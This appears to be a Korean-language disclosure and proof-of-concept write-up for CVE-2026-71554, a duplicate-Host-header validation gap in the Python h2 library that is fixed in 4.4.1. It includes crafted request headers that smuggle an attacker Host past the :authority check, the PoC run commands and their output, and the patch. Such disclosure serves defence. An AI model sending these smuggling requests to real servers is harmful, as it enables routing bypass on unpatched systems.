
CVE-2026-71554용 PoC - h2 중복 Host 헤더 요청 스머글링 프리미티브 (4.4.1에서 수정됨)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 영향받는 버전: h2 <= 4.4.0 수정된 버전: h2 4.4.1 심각도: 중간 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2의 헤더 검증 로직을 검토하던 중, src/h2/utilities.py의 _validate_host_authority_header()가 Host와 :authority가 일치하는지 확인하지만, 확인하는 것은 마지막 Host 헤더뿐이라는 점을 발견했습니다. Host 헤더를 두 개 보내면 h2는 일치 검사에 두 번째 것을 사용하고, 두 헤더 모두 애플리케이션으로 아무 문제 없이 전달합니다.
흥미롭게도 h2 4.4.0은 이미 중복된 Content-Length 헤더를 ProtocolError로 거부합니다. 동일한 수정이 Host에는 적용되지 않았습니다. 소스에는 이 정확한 공백을 인정하는 TODO 주석까지 있었습니다:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.py의 _validate_host_authority_header()는 마지막 값이 이기는(last-wins) 루프를 사용하여 마지막으로 확인된 Host 값을 기록하고 다음만 검사합니다:
:authority 또는 Host 중 적어도 하나가 존재하는지Host 헤더의 개수에 대한 검사는 없습니다. 각 Host 헤더는 몇 개가 존재하든 관계없이 다운스트림 애플리케이션으로 전달됩니다.
클라이언트가 전송:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2는 둘 다 수락합니다. 애플리케이션은 두 Host 헤더를 모두 수신합니다.
HTTP/1.1 다운그레이드 시 생성되는 요청:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2는 서버가 Host 헤더를 두 개 이상 포함한 모든 HTTP/1.1 요청에 400으로 응답하도록 요구합니다. 백엔드마다 동작이 다릅니다:
nginx — 400으로 거부
Python stdlib — 수락, 조회 시 첫 번째 Host 반환
Werkzeug — 수락, 조회 시 첫 번째 Host 반환
클라이언트가 전송:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- 인덱스 0, 첫 번째 Host (오리진이 보는 값)
host: good.internal <- 인덱스 1, 마지막 Host (h2 검증기가 사용하는 값)
h2 검증: 마지막 Host (good.internal) == :authority (good.internal) - 통과.
애플리케이션은 두 Host 헤더를 모두 수신합니다. HTTP/1.1 다운그레이드 시 생성되는 요청:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
단일 키 조회 시 첫 번째 Host를 반환하는 백엔드는 요청을 evil.attacker로 라우팅하는 반면, h2는 good.internal을 검증했다고 믿습니다. h2가 검증한 것과 오리진이 처리하는 것 사이에 완전한 라우팅 디싱크가 발생합니다.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2는 ProtocolError를 발생시킵니다. 이는 공백이 중복 Host 헤더에 특정된 것임을 확인해 줍니다.
영향은 배포 아키텍처에 따라 조건부입니다:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - 두 개의 Host 헤더, :authority 없음 (둘 다 전달됨)
h2가 전달한 Host 헤더: ['good.internal', 'evil.attacker']
결과 HTTP/1.1 요청:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority가 마지막 Host와 일치, 첫 번째 Host가 밀반입됨
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 불일치 검사 통과 (:authority == 마지막 Host).
결과 HTTP/1.1 요청:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - :authority와 불일치하는 단일 Host (올바르게 거부됨)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
세 가지 경우 모두 ProtocolError를 발생시킵니다. 헤더가 전달되지 않습니다.
_validate_host_authority_header()의 기존 루프에 카운터 하나를 추가했습니다:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
커밋: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
Sunand Mohan (https://github.com/SunandM)이 발견하고 보고했습니다.